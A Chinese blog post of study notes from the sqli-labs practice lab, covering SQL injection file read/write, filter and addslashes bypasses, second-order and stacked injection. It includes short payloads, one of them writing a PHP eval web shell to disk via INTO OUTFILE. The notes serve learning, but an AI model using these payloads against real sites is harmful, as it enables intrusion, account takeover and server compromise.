通过sqli-labs学习SQL注入(3)

补充的一些知识点

Less-7解锁的文件读写注入。
主要用到的函数和语句

  1. load_file(fileName):读取服务器上指定路径的文件,需要有读取权限,文件路径可以转为16进制
  2. LOAD DATA INFILEload data infile '/tmp/1.txt' ignore into table test character set gbk fields terminated by 't' lines terminated by 'n'将1.txt 导入到test表中,character set gbk字符编码为gbk,fields terminated by '\t'字段以\t结尾,每行以\n结尾
  3. SELECT ... INTO OUTFILE 'file_name':把数据写到文件里,比如插入一句话木马Select <?php @eval($_post[“mima”])?> into outfile "c:\xxx\test.php"

绕过addslashes():这个函数的功能是对一些符号进行转义,比如单引号双引号,可以通过编码绕过和宽字节绕过

过滤关键字,比如select union or and 等等
绕过思路:改变大小写 SeLecT uNiON,or、and改为||、&&;编码绕过16进制 url;添加注释/*or*/
Less-24接触到二次注入,先提交一个构造的数据让服务器接收,再通过第二次操作触发注入。例:先注册一个admin'#的账号,然后登陆该账号修改密码,这时候修改的就是admin的密码。sql语句:updata users set password="new_password" where username='admin'#' and .....

堆叠注入
简单的说就是多条sql语句注入,例子:...?id=1';select 1,2,3;
注意:oracle数据库不支持

后面的order by注入语法也差不多,主要就是各种防御方式的组合了,用到的手段其实都是最开始那几关提到的。SQL注入原理就大概了解到这里。下一篇用sqlmap来实战,熟悉sqlmap使用以及巩固注入原理。

相关推荐